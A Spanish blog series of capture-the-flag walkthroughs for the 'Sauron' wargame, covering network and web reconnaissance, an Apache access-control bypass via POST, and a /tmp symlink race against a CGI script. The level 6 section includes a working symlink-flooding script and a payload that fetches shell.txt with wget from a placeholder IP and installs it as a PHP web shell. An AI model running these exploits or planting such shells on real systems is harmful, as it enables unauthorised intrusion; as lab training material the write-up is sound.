Pensando en Red nada es tan fácil como parece serlo

SecGame #1: Sauron – Resolución Nivel 6

Saludos nuevamente,

nos encontramos ya en el penúltimo de los niveles de este reto, que esta ocasión hemos resuelto con una semana entera de retraso, debido a los desajustes propios de los periodos vacacionales. Por ello, sin perder más tiempo, vamos con su resolución.

En este sexto nivel, una vez obtenido el acceso a intranet.blindware.inc lo primero que vamos a encontrar es un fichero de nombre “moved.html”, que parece querernos redirigir hacia una IP de clase A: 10.50.150.200, además de este fichero "moved.html", nos encontramos un directorio de nombre cgi-bak en el cual aparecen numerosos scripts, que podemos descargar en lo que parece un backup del mismo.

Podemos deducir, por tanto, que la intranet se ha movido de este sistema al recien descubierto 10.50.150.200, y que además en el proceso de mover cosas, algunos scripts, sin que esté muy claro el motivo, han quedado en este sistema. Este es un escenario relativamente común en entornos de producción maduros, en los que por motivos de rendimiento, u otros, partes de los aplicativos o servicios son migrados a nuevos sistemas. Esta migración, eventualmente, puede tener como consecuencia el olvido de restos de información significativa en el sistema inicial.

De momento, lo primero que debemos hacer es bajar el fichero de backup, puesto que estos siempre son una fuente de información muy útil para nuestros propósitos: códigos fuentes, contraseñas, y otra variedad de información están contenidas en ellos.

Ahora es el momento de revisar los códigos fuentes de los ficheros almacenados en el servidor. Esta es una tarea para la que sólo hay recomendaciones, pero no una técnica definitiva. Lo que deberemos buscar, generalmente son: entradas y salidas de datos provinientes del usuario, modificaciones sobre los datos del usuario (concatenaciones, alteraciones, etc) y por último llamadas a funciones potencialmente inseguras y/o con riesgo potencial ( dependerá del lenguaje en el que nos encontremos, pero serán funciones principalemente de ejecución de comandos, de trabajo con memoria, etc ).

De su revisión, y con un poco de paciencia, obtenemos dos datos, más o menos relevantes:

1. Únicamente 2 ficheros producen salidas a disco

2. Únicamente 1 fichero admite entradas de usuario

Vamos a revisar el código fuente de estos 2 ficheros.

PhoneBook

#!/bin/sh

# Phonebook example as shell script

phonebook=sh_phone.dat

function phonebook_add
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi
if [ -z "$value2" ]; then
echo "Phone is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" = "" ]; then
echo "$value1 $value2" >>$phonebook
if [ $? ]; then
echo "Entry $value1 added successfully!"
else
echo "Unable to add to $phonebook. Contact Webmaster."
fi
else
echo "Entry $value1 already exists!"
fi
}
function phonebook_delete
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
mv $phonebook $phonebook.tmp
grep -v $value1 $phonebook.tmp >$phonebook
if [ $? ]; then
echo "Entry $value1 deleted successfully!"
else
echo "Unable to delete from $phonebook. Contact Webmaster."
fi
else
echo "Entry $value1 not found in the phonebook."
fi
}

function phonebook_search
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
name=`echo "$entry" | cut -f1 -d' '`
phone=`echo "$entry" | cut -f2 -d' '`
echo "Name = $namenPhone = $phone"
else
echo "Entry $value1 not found in the phonebook."
fi
}

# Main program

# send the MIME header first
echo "Content-type: text/plain"
echo

# get the length of the cgi content
# not used here since read can read free form input
# echo "CONTENT_LENGTH = $CONTENT_LENGTH"

# read the cgi content
read cgiStr
# echo "input read = $cgiStr"

# process the received input string
# first split cgiStr using the '&' as separator
field1Encoded="${cgiStr%%&*}"
cgiStr="${cgiStr#*&}"
field2Encoded="${cgiStr%%&*}"
cgiStr="${cgiStr#*&}"
field3Encoded="$cgiStr"

# decode the string
# change '+'s to ' 's
# translate hex characters - not implemented here
field1=`echo $field1Encoded | tr '+' ' '`
field2=`echo $field2Encoded | tr '+' ' '`
field3=`echo $field3Encoded | tr '+' ' '`

# split the string into name and value
# name1=${field1%=*}
value1="${field1#*=}"
# name2=${field2%=*}
value2="${field2#*=}"
# name3=${field3%=*}
value3="${field3#*=}"
# value3 has an extra character at the end because of the free form read
# echo :$value3: $value1 $value2
# call appropriate function depending on ACTION
if [ "${value3#ADD}" != "$value3" ]; then
phonebook_add
elif [ "${value3#DELETE}" != "$value3" ]; then
phonebook_delete
else
phonebook_search
fi

do_passv.cgi

#!/bin/sh
rm /tmp/tmp_*
TMP_NAME="/tmp/tmp_"`echo $RANDOM | md5sum | cut -f1 -d" "`
wget -O $TMP_NAME --no-check-certificate https://127.0.0.1/doit.txt 2> /dev/null
chmod +x $TMP_NAME
exec $TMP_NAME

Llegados a este punto, nos podemos empeñar en que el fallo de seguridad está en la agenda de teléfonos porque es el script que admite entrada de parámetros. La realidad es bien distinta, es cierto que la agenda de teléfonos es un script bastante cutre, y bastante mal programado, pero por mucho que nos empeñemos no vamos a obtener un fallo de seguridad de él, ya que en realidad no realiza ninguna operación comprometida con los datos.

Otro caso muy diferente es el pequeño script. Para empezar hacer una operación que siempre es crítica: intenta ejecutar algo. El script, a simple vista, parece que genera un fichero aleatorio en disco, con un contenido descargado de un servidor web, para luego ejecutarlo.

Pues, aunque no lo parezca, este es un script inseguro. El motivo de su inseguridad, que deriva en una condición de carrera ( race condition ) estriba en el insuficiente espacio de colisión que aporta la variable $RANDOM. Por defecto, $RANDOM, genera 32K valores, que el script transforma en una cadena md5, es decir, los valores del 0 al 32767 ( a ojo ) son convertidos a un string md5, sobre el que se guarda el fichero, para luego ser ejecutado.

Además de eso, no se chequea la existencia previa del fichero, y únicamente hay un guiño leve a la seguridad, pues se borran ficheros anteriores. Al no chequear la existencia previa, otro usuario puede haber creado un enlace simbólico a otro fichero, y este será el que se ejecute en detrimento del nuestro. Además, el borrar ficheros, no sirve, a menos que tengamos permisos para hacerlo. Dicho de otra forma, este script sólo borraría cualquier fichero si el usuario que lo ejecutara fuera root. En ese caso, la race condition no sería “inexplotable”, pero sí que se dificultaría su explotación, puesto que se tendrían que generar los enlaces entre el borrado, y la ejecución, existiendo una ventana de tiempo muy reducida para ello.

Por tanto, nuestro vector de ataque se fundamenta en pregenerar enlaces simbólicos con nombre tmp_md5string, donde md5string será una cadena que contendrá la codificación md5 de los strings del 1 al 32767. Y aquí nos enfrentamos a una pequeña complejidad para la explotación, el número de enlaces que podemos crear en el sistema de ficheros, está relacionado directamente con 2 parámetros:

o Para enlaces simbólicos será igual al número de inodos disponibles en el sistema de ficheros.

o Para enlaces duros, será igual al límite de ficheros que se permite como máximo en un directorio, en caso de que el sistema de ficheros no consuma inodos al crear enlaces duros ( p.ej ext3 ), o al número de enlaces duros en caso de que los consuma.

Para el caso que nos ocupa, el directorio /tmp es tiene la sisguientes características:
tmpfs on /tmp type tmpfs (rw,size=4M)

Por tanto, dado que es un sistema tmpfs, se pueden crear tantos enlaces como inodos disponibles.

Filesystem Inodes IUsed IFree IUse% Mounted on
tmpfs 15674 8 15666 1% /tmp

Así que debemos crear un script, que genere enlaces simbólicos, hasta completar el número de inodos, permitiéndolos la explotación de la race condition, y que tras su ejecución nos cree una copia de una shell en php. Vamos a ello.

#!/bin/bash

MINNUM=1;
MAXNUM=15666;

for number in `seq $MINNUM $MAXNUM`; do
TMP_NAME="/tmp/tmp_"`echo $number | md5sum | cut -f1 -d" "`
ln -s /tmp/exploit $TMP_NAME
done

El script es bastante sencillo, simplemente recorre de MINNUM a MAXNUM, generando enlaces simbólicos ( codificados en MD5 ) al fichero /tmp/exploit. Cuyo contenido puede ser bastante parecido al siguiente:

#!/bin/bash

wget http://IP/shell.txt
cp shell.txt /var/www/intranet/htdocs/shell.php
chmod +x /var/www/intranet/htdocs/shell.php

En definitiva, copiamos una shell en PHP, a disco, y la movemos al directorio web del usuario intranet, sin olvidarnos de adecuar los permisos de ejecución.

Todos estos ficheros, los subimos al servidor al directorio /tmp, mediante los privilegios que tenemos en el usuario blindware y ejecutamos el exploit con ese usuario.

Cuando ejecutemos el exploit, este tardará un tiempo considerable en generar todos los enlaces simbólicos, también podemos hacer que genere en vez de 15666, 1500, o la cifra que prefiramos, cuanto menor sea la cifra, menos posibilidades de explotación efectiva de la condición de carrera tendremos.

Una vez creados los enlaces simplemente ejecutamos el script con el fallo de seguridad:

o http://intranet.blindware.inc/cgi-bak/do_passv.cgi

Si la explotación falla obtendremos el resultado típico:

> ID: uid=501(intranet) gid=501(intranet) groups=501(intranet)
> UPTIME: 14:41:56 up 2:28, 2 users, load average: 0.00, 0.35, 0.42
> INFO: Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux

Cuando acertemos, simplemente veremos una pantalla en blanco. En ese momento, para nuestra satisfacción, tendremos una nueva shell en http://intranet.blindware.inc/shell.php

Y ejecutando nuestro primer comando ( id ), comprobaremos que ya somos usuario intranet:

o uid=501(intranet) gid=501(intranet) groups=501(intranet)

Con esto, habiendo ganado ejecución de comandos con otro usuario, podemos decir que hemos concluido este nivel, y que ya estamos a sólo un paso del final. ¡Hasta dentro de 15 días!

SecGame #1: Sauron – Resolución Nivel 2

Saludos,

el plazo de 2 semanas ha concluido y es momento de avanzar un nuevo nivel en la resolución del primero de los secgame. Éste segundo nivel sí que difiere, levemente de momento, según el nivel de dificultad en el que lo afrontemos. Aquí vamos a despejar la incógnita del nivel más sencillo, ya que en la versión compleja el procedimiento de actuación es muy similar, y el resultado una vez superado idéntico.

Sin embargo antes de entrar en materia, sí que queremos aprovechar para hacer un inciso y dar una recomendación, válida tanto para este "pequeño" juego, como para cualquier test de intrusión que se deba acometer: es muy importante disponer de un escenario de pruebas en el que poder replicar de forma lo más fidedigna posible el escenario a atacar. Si en este caso el escenario aparentemente es Fedora con Apache 2.2.4 y PHP 5.1.6, nos será muy útil contar con un sistema propio, en el que tengamos privilegios administrativos, y esos servicios. Dicho esto, por otra parte obvio, es hora de comenzar a investigar el segundo nivel: el directorio data/stats.

Lo primero que corresponde es analizar el comportamiento de un acceso a dicho directorio bajo unos cuantos supuestos. Cada cual lo puede hacer como más le guste, desde Mozilla con Tamper Data, con un proxy intermedio como Paros, o directamente con un nc desde la línea de comandos, aquí usaremos esta última.

> nc www.blindware.inc 80
GET /data/stats HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

> nc www.blindware.inc 80
GET /data/stats/index.html HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

> nc www.blindware.inc 80
GET /data/stats/ficherocualquiera HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

Primera Idea: De esta primera prueba nos debemos percatar que incluso con ficheros aleatorios, cuya probabilidad de existir en esa ruta es prácticamente 0%, nos sigue dando la misma respuesta, por tanto podemos deducir que existe un control de acceso a ese directorio por parte del propio Apache, que fuerza una redirección a la URL: http://www.blindware.inc/data/error-stats.html, o dicho de otra forma, que solicitemos el fichero que solicitemos Apache nos va a mostrar la pagina de error-stats.html

Visto esto, veámos que información da el "error-stats.html":

Access to "/var/www/blindware/htdocs/data/stats/" Forbidden

Your access isn't allowed to this path

HTTP METHOD RESTRICTED TO 127.0.0.1

Esta web nos devuelve una información relevante sobre una denegación de acceso a la que somos redirigidos siempre, por tanto, y como consejo general a menos que estemos muy familiarizados con Apache, lo que haremos será documentar qué motivos pueden llevar a Apache a generar un mensaje de este tipo. Para ello bien nos puede servir buscar en Google: Access Forbidden Apache. Leyendo por encima los enlaces que aparecen, encontraremos como información relevante que es un error de Apache numerado con el número 403 y que se produce bajo ciertas circunstancias:

• Solicitar un directorio que no contiene índice ( index.html ) cuando la opción INDEXES está desactivada.

• Solicitar un directorio que tiene denegado el acceso bajo todas o alguna circunstancia.

Así mismo, vemos que mediante ficheros “.htaccess” o en la propia configuración de Apache, podemos configurar una directiva denominada ErrorDocument 403 que nos redirige a una página web concreta en caso de que se produzca un error 403. Es evidente, que en nuestro escenario no estamos solicitando un directorio que no contiene índice, sino que ante cualquier fichero que solicitemos, nos produce este resultado, por tanto, a priori, nos encontraremos en el caso en el que el directorio tiene denegado el acceso y se ha asociado una cláusula ErrorDocument a él.

Intentemos emular por tanto el escenario, y para ello qué mejor que dirigirse al howto para control de accesos que dispone Apache y ver qué habría que introducir en su configuración para obtener un comportamiento como el que vemos en este servidor. En esta web encontraremos algún que otro ejemplo, pero uno interesante por encima del resto:

Order deny,allow
Deny from all
Allow from W.X.Y.Z

Segunda Idea: de lo anterior podemos inducir que bien una cláusula bien un fichero .htaccess dentro del directorio data/stats están limitando el acceso. Y que su estructura será parecida a la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html
Order deny,allow
Deny from all
Allow from 127.0.0.1

La primera línea es la que marca la redirección al fichero "error-stats.html" en caso de que se produzca un acceso no autorizado. Así mismo, la cláusula "Deny from all" deniega el acceso a todos los usuarios menos a los autorizados por una cláusula "Allow" que en este caso serán los provenientes de 127.0.0.1 (localhost).

Con esto hemos replicado el comportamiento del escenario del nivel, ¿qué podemos hacer ahora?. Siempre tenemos 2 opciones una vez hemos conseguido conocer la estructura y replicarla bajo nuestro total control: buscar una vulnerabilidad pública o descubrirla por nosotros mismos. Desde aquí recomendamos encarecidamente el no reinventar la rueda: las listas públicas de vulnerabilidades existen para algo y es para ser usadas. Es cierto, que no siempre las vulnerabilidades existentes, y los exploits desarrollados para ellas se adaptarán 100% a nuestras necesidades, pero con diferencia nos ahorrarán mucho trabajo. Por ello, para sobrepasar esta medida de protección recomendamos buscar en Google etiquetas como las siguientes: apache access bypass, htaccess bypass, o apache access weakness.

Estas búsquedas nos devolverán un importante número de referencias a vulnerabilidades públicas en el control de accesos por parte de Apache (R1, R2, R3 y R4).

De la lectura de estas fuentes, podemos suponer que es posbile que exista una vulnerabilidad de configuración en el escenario propuesto para la segunda idea. ¿Cuál sería esta vulnerabilidad? Por ejemplo, una configuración como la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html

Para verificarlo volvemos a hacer uso de nc desde la línea de comandos.

> nc www.blindware.inc 80
OPTIONS /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:29:51 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

> nc www.blindware.inc 80
TRACE /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:30:19 GMT
Server: Apache/2.2.4 (Fedora)
Connection: close
Content-Type: message/http

TRACE /data/stats/ HTTP/1.0

> nc www.blindware.inc 80
PUT /data/stats/ HTTP/1.0

HTTP/1.1 405 Method Not Allowed
Date: Tue, 17 Jul 2007 12:30:49 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 324
Connection: close
Content-Type: text/html; charset=iso-8859-1

Efectivamente, existe una configuración incorrecta. Con sólo leer las respuestas del servidor vemos cómo únicamente es filtrado el método GET, mientras que por el contrario el método OPTIONS, TRACE o PUT son correctamente procesados por Apache. ¿Cómo se puede explotar esto?.

La explotación de este fallo de seguridad depende del fichero sobre el que hagamos la petición, en caso de ser un fichero procesable por un módulo de Apache, como puede ser PHP, PERL, etc, la explotación es mucho más sencilla porque los metodos OPTIONS o PUT devolverán exactamente lo mismo que un método GET en la inmensa mayoría de las ocasiones. Sin embargo, si el fichero lo procesa directamente Apache, como es el caso de los ficheros HTML con contenido estático, el único método diferente a GET que tiene el mismo resultado es POST. Por tanto, y dado que en este caso parece que lo que estamos buscando es el fichero "index.html" debemos hacer uso del método POST.

> nc www.blindware.inc 80
POST /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:31:57 GMT
Server: Apache/2.2.4 (Fedora)
Last-Modified: Tue, 08 May 2007 20:46:48 GMT
ETag: "a8023-4eed-8431de00"
Accept-Ranges: bytes
Content-Length: 20205
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>Web Server Statistics for Blindware Inc.</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<meta name="robots" content="noindex,nofollow" />
<title>Server Statistics for Blindware Inc.</title>(..)

Efectivamente, nos devuelve el fichero index.html de forma correcta, por tanto podemos salvarlo a un fichero y leerlo localmente con cualquier navegador, viendo entre otros los siguientes datos:

Directory Report

This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.

En la sección destinada a directorios accedidos encontramos un directorio en el que no habíamos reparado y de nombre "_controlp/". El cual nos lleva al siguiente escenario:

Pues hasta aquí ha llegado este segundo nivel. En 2 semanas volveremos con el nivel 3, que esperamos a los que lo juguéis os resulte entretenido y didáctico.

SecGame #1: Sauron – Resolución Nivel 1

Saludos a todos,

dado que lo prometido es deuda vamos a comenzar con la resolución, cada 15 días, de los niveles propuestos para SecGame #1. Inicialmente pensamos hacerlo cada semana, pero creemos que resolviéndolos cada 15 días será posible, para aquellos que estéis siguiendo el juego, afrontar el nuevo nivel con tiempo suficiente.

En este primer nivel, que sirve como toma de contacto con el modelo de resolución, lo primero que haremos será marcar unos objetivos principales, que bien podrán servir tanto para afrontar este reto, como en general para el inicio de cualquier actividad que tenga como finalidad determinar posibles puntos de intrusión en un sistema.

Los objetivos son los siguientes:

* Conocer la estructura del sistema y de la red
* Conocer la estructura del aplicativo
* Buscar ficheros por defecto con información sensible
* Analizar la lógica del aplicativo
* Determinar los posibles puntos de intrusión.

Información sobre Red y Servicios

Vamos a comenzar delimitando los sistemas presentes en la red de clase C 192.168.200.0/24 . Para hacerlo, usamos nmap con su modificador –sP ( ICMP Ping ), aunque bien se puede dar la circunstancia de existir sistemas que no contesten a tráfico ICMP.

> nmap -sP 192.168.200.1-254

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 18:51 Hora estandar romance
Host 192.168.200.1 appears to be up.
Host www.blindware.inc (192.168.200.2) appears to be up.
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)
Nmap finished: 254 IP addresses (2 hosts up) scanned in 17.016 seconds

Por ello, una comprobación también es interesante es verificar directamente algunos puertos típicos, haciendo uso de tráfico TCP, sin usar comprobación previa por ICMP. Por ejemplo lo podemos hacer con el modificador –P0 –p 80, indicando así que no se envíe un "ping" previo, y que se compruebe el puerto 80/tcp.

En nuestro caso concreto, y dado que directamente parece que no existe ningún otro host activo en esa subred, escanearemos la IP 192.168.200.2. Podremos escanear por defecto, eliminando el modificador “-p”, algunos puertos concretos o escanearlos todos “-p 1-65535”. Un detalle importante que siempre debemos recordar es que cuando marcamos un escaneo –sS o –sT, o sin tipo, únicamente escaneamos puertos TCP, los puertos UDP deben escanearse con el modificador –sU. En nuestro caso este ha sido el resultado.

> nmap -P0 -sS -p 22,23,25,80,110,443,3306 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:02 Hora estßndar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE
22/tcp filtered ssh
23/tcp filtered telnet
25/tcp filtered smtp
80/tcp open http
110/tcp filtered pop3
443/tcp open https
3306/tcp filtered mysql
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 0.360 seconds

De esta verificación obtenemos que existen 2 puertos abiertos en ese sistema: 80 y 443, en un principio coorrespondientes a tráfico http y https. Existe otro modificador que nos puede dar más información sobre estos puertos: –sV

> nmap -sV -p 80,443 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:14 Hora estandar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.4 ((Fedora))
443/tcp open ssl OpenSSL
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 6.719 seconds

Llegados a este punto, podemos decir que si bien podemos seguir haciendo un uso más intensivo de herramientas de red, para nuestros propósitos hemos conseguido establecer la existencia de un sistema activo en la subred determinada, el cual cuenta con 2 puertos TCP abiertos, sobre los que ofrece servicio http y https.

Información sobre el Servidor Web

¿Cuál es nuestro segundo objetivo? Como dijimos inicialmente, familiarizarnos con toda la estructura del aplicativo web. ¿Por qué? Primero, porque en el sistema activo para la subred 192.168.200.0/24, no parecen existir otro tipo de servicios. Además de ello, debemos tener muy presente, que en la actualidad y de forma mayoritaria, la inseguridad se ha ido desplazando desde los servicios y elementos de red, a las aplicaciones web sobre el servicio http/https. Por tanto, a pesar de que pudieran existir otros servicios, sobre el aplicativo web, siempre que exista, incidiremos con especial detalle.

Una conexión directa haciendo uso de netcat, y una petición al servicio web nos muestra la siguiente información:

> nc 192.168.200.2 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 05 Jul 2007 19:20:20 GMT
Server: Apache/2.2.4 (Fedora)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8

A todos los efectos, esto nos sirve para comprobar que se tratan de versiones actualizadas de Apache y de PHP y que por tanto, las vulnerabilidades existentes, como suele ser común, no residen en los servicios de red, sino que deberemos buscarlas dentro del aplicativo web.

Lo siguiente que debemos hacer es obtener información sobre el árbol web. Desde aquí recomendamos que el spidering ( nombre que comúnmente recibe esta técnica ) se realice sin usar aplicativos integrados en el navegador, pues algunos tienen la mala costumbre de interpretar código javascript pudiendo hacer que obviemos detalles importantes debido a la automatización del proceso. Wget o httrack son unas herramientas muy válidas para la tarea.

> wget -r http://www.blindware.inc
--19:28:15-- http://www.blindware.inc/
=> `www.blindware.inc/index.html'
Resolving www.blindware.inc... 192.168.200.2
Connecting to www.blindware.inc|192.168.200.2|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

[ <=> ] 24 --.--K/s

19:28:15 (1.02 MB/s) - `www.blindware.inc/index.html' saved [24]

Loading robots.txt; please ignore errors.
--19:28:15-- http://www.blindware.inc/robots.txt
=> `www.blindware.inc/robots.txt'
Connecting to www.blindware.inc|192.168.200.2|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]

100%[====================================>] 33 --.--K/s

19:28:15 (1.12 MB/s) - `www.blindware.inc/robots.txt' saved [33/33]

--19:28:15-- http://www.blindware.inc/load.js
=> `www.blindware.inc/load.js'
Connecting to www.blindware.inc|192.168.200.2|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 76 [application/x-javascript]

100%[====================================>] 76 --.--K/s

19:28:15 (2.30 MB/s) - `www.blindware.inc/load.js' saved [76/76]

FINISHED --19:28:15--
Downloaded: 133 bytes in 3 files

Ese es el resultado inicial para http://www.blindware.inc. Si lo repetimos sobre http://intranet.blindware.inc no obtendremos nada porque nos pide autenticación, y por el momento la desconocemos. Por último, si lo llevamos a cabo sobre el servicio HTTPS, https://www.blindware.inc o https://intranet.blindware.inc obtenemos un index.html en blanco.

De esto concluimos que, al menos, se están sirviendo 3 escenarios diferentes. Uno por HTTP para www.blindware.inc, otro por HTTP para intranet.blindware.inc y por último, lo que parece uno común por HTTPS que sirve un index.html en blanco.

Vamos a verificar qué contienen los ficheros descargados:

> type index.html
script src="load.js">

> type load.js
// document.location.href='data/0.html'
Document.location.href=’web/0.html’;

> type robots.txt
User-agent: *
Disallow: /data/

Como podemos comprobar desde el fichero index.html existe una llamada a un fichero con contenido javascript (load.js) el cual tiene como misión redirigir el tráfico hacia la web principal. Nos debemos percatar, que existe una línea comentada dentro de este fichero, la cual nos da información sobre una ruta diferente a la habitual data/0.html. Así mismo dentro del fichero robots.txt volvemos a encontrar una referencia a esta ruta. Si continuamos descargando contenidos desde web/0.html comprobamos que únicamente se descarga contenido estático en html.

Así que hasta el momento, y como conclusión, sabemos que existe una carpeta web/, la cual no parece contener nada reseñable, más que el contenido estático del site, y la carpeta data/, sobre la cual hablaremos más adelante.

Vulnerabilidades y Ficheros Sensibles

A continuación, debemos determinar ficheros, configuraciones, o posibles fallos conocidos en el servicio web. Para esta tarea existen numerosas aplicaciones, desde AppScan, a Nikto, o su port a Win32, Wikto. Nosotros vamos a utilizar este último, concretamente sus funciones destinadas a la exploración de contenido backend, cuya finalidad es extraer mediante una exploración por diccionario carpetas y ficheros ocultos, así como la propia utilidad Nikto, que nos escaneará la web buscando vulnerabilidades conocidas. Advertencia: El uso de herramientas automatizadas puede provocar falsos positivos, que debemos comprobar antes de emitir cualquier tipo de valoración.

Los resultados de la ejecución de Wikto son los siguientes:

BackEnd

#Directories
www.blindware.inc/
www.blindware.inc/cgi-bin/
www.blindware.inc/data/
www.blindware.inc/error/
www.blindware.inc/data/stats/
www.blindware.inc/error/include/
#Indexable
www.blindware.inc/data/
#Files
www.blindware.inc/index.php
www.blindware.inc/robots.txt

Nikto

/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
/WS_FTP.LOG

De esta información podemos obtener los siguientes datos relevantes:

* La existencia de un directorio /data/stats
* La existencia de un fichero WS_FTP.LOG
* La existencia de un fichero robots.txt
* Información sobre PHP

Un paseo por la aplicación visible, podemos hacerlo con Paros por ejemplo, nos desvela que, a priori, los que vemos es un contenido pre-generado de forma estática y cuya única entrada de datos se encuentra en el formulario contacto. Podemos analizarlo, pero no vamos a encontrar ningún comportamiento anómalo, ya que si nos damos cuenta el campo “action” de ese formulario va en blanco. Esto nos debe hacer pensar, que en caso de existir partes vulnerables, no se encuentran accesibles al público directamente.

Como información adicional decir que muchos gestores de contenido, entre ellos los más robustos, generan el contenido de forma estática desde un aplicativo en backend, haciendo que la parte visible de la aplicación carezca, casi por completo, de contenido dinámico, y de entradas por parte del usuario. Existirán por el contrario, otros aplicativos, como foros, buscadores, o secciones de prensa, cuyo contenido utilice generación dinámica. En estos casos, deberemos probar la inclusión sobre sus parámetros de código SQL, código HTML, código PHP, etc. buscando un comportamiento extraño.

Busqueda de un Punto de Intrusión

Para buscar un punto de intrusión, debemos recopilar lo que sabemos hasta el momento, ordenar las ideas y tomar una decisión, que vaya por delante, no tiene porqué ser la correcta. Dicho de otra forma, todo lo realizado hasta el momento nos lleva a suposiciones plausibles, pero nada nos garantiza que estemos en lo cierto. Vamos a ver lo que sabemos:

1. Existen 3 contenidos diferentes servidos por el servidor web
1. http://www.blindware.inc ( En adelante www )
2. http://intranet.blindware.inc ( En adelante intranet )
3. https://www.blindware.inc y https://intranet.blindware.inc ( En adelante https )
2. El contenido de https que podemos revisar con Wikto no parece contener nada.
3. Intranet nos pide autenticación para acceder.
4. En www conocemos que:
1. Tanto por la información pública existente, como por Wikto, existen sendos directorios de nombre data/ y data/stats/
2. Wikto nos revela la existencia del fichero WS_FTP.LOG

Antes de continuar debemos revisar el fichero WS_FTP.LOG:

2007.05.08 12:55 B C:datalogsindex.php <-- hawking /htdocs/data/stats/index.php
2007.05.08 12:55 B C:datalogsindex.php <-- hawking /htdocs/data/stats/blnd0.log
2007.05.08 12:55 B C:datalogsindex.php <-- hawking /htdocs/data/stats/blnd1.log
2007.05.08 12:55 B C:datalogsindex.php <-- hawking /htdocs/data/stats/blnd2.log
2007.05.08 12:55 B C:datalogsindex.php <-- hawking /htdocs/data/stats/blnd3.log

Con lo cual, parece que tenemos 2 opciones:

1. Atacar la autenticación de intranet
2. Intentar acceder en WWW a data/stats/ ( y a lo que parecen ser logs )

Aquí hay que decidir, en este caso, sobre intranet no sabemos absolutamente nada, mientras que sobre data/stats/ al menos sabemos que el día 8 de Mayo de 2007, contenía algún tipo de fichero de logs.

Evidentemente cada uno puede buscar lo que prefiera, y dónde prefiera, pero en este caso, los LOGS pueden resultar una información de vital interés pues pueden desvelarnos partes ocultas del aplicativo, y otras áreas de las que no tenemos conocimiento, así como usuarios con los que se accede a ellas ( si el acceso se hace autenticado mediante apache ) y otros muchos detalles.

Por el contrario, atacar directamente una autenticación de Apache, salvo que esté incorrectamente configurada, es algo bastante poco probable de llevar a buen fin, porque a priori, únicamente podremos atacar por fuerza bruta.

Con esto podemos concluir el primer nivel, habiendo visto las siguientes vulnerabilidades relativas a la “publicación de información sensible”:

* En los comentarios del fichero “load.js” se filtra información
* El fichero robots.txt mal facilita información relativa a áreas del aplicativo no públicas.
* Existen el WS_FTP.LOG conteniendo información sensible.
* El servidor Apache, está incorrectamente configurado, permite, mediante la opción INDEXES, la navegación por aquellos directorios que no contienen un fichero índice.

Así mismo tenemos un objetivo para iniciar nuestro ataque: el directorio data/stats/ terminando así el primer nivel de Sauron. Este primer nivel es igual para ambos niveles de complejidad.

Esperemos que os haya resultado de interés, y que a los que no habían podido encontrar esta información, les sirva para poder continuar. Dentro de 15 días volveremos con el nivel 2.